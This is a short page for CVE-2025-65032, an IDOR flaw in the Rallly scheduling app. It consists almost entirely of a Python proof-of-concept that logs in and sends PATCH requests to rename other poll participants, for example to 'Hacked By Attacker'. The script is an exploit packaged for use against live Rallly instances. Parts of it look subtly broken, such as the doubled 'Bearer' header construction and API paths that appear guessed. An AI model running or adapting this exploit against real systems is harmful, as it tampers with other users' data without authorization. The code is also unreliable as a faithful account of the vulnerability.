CVE-2025-65032 Rallly IDOR漏洞允许修改其他用户显示名称

import requests import json # CVE-2025-65032 IDOR PoC - Rename other users' display names # Target: Rallly < 4.5.4 BASE_URL = "https://your-rallly-instance.com" # Step 1: Login to get authentication token def login(username, password): session = requests.Session() login_data = {"email": username, "password": password} response = session.post(f"{BASE_URL}/api/auth/login", json=login_data) return session, response.json().get('token') # Step 2: Get poll ID and participants list def get_poll_info(session, poll_id): headers = {"Authorization": f"Bearer {session.headers.get('Authorization')}"} response = session.get(f"{BASE_URL}/api/polls/{poll_id}", headers=headers) return response.json() # Step 3: IDOR - Modify other user's display name def idor_rename(session, poll_id, target_participant_id, new_name): headers = {"Authorization": f"Bearer {session.headers.get('Authorization')}"} rename_data = { "participantId": target_participant_id, # IDOR: Can be any participant ID "name": new_name } response = session.patch( f"{BASE_URL}/api/polls/{poll_id}/participants/{target_participant_id}", json=rename_data, headers=headers ) return response # Main execution session, token = login("[email protected]", "password123") session.headers.update({"Authorization": f"Bearer {token}"}) poll_id = "target-poll-id" target_participant_id = "victim-participant-id" # IDOR vulnerability new_display_name = "Hacked By Attacker" response = idor_rename(session, poll_id, target_participant_id, new_display_name) print(f"Status: {response.status_code}") print(f"Response: {response.text}")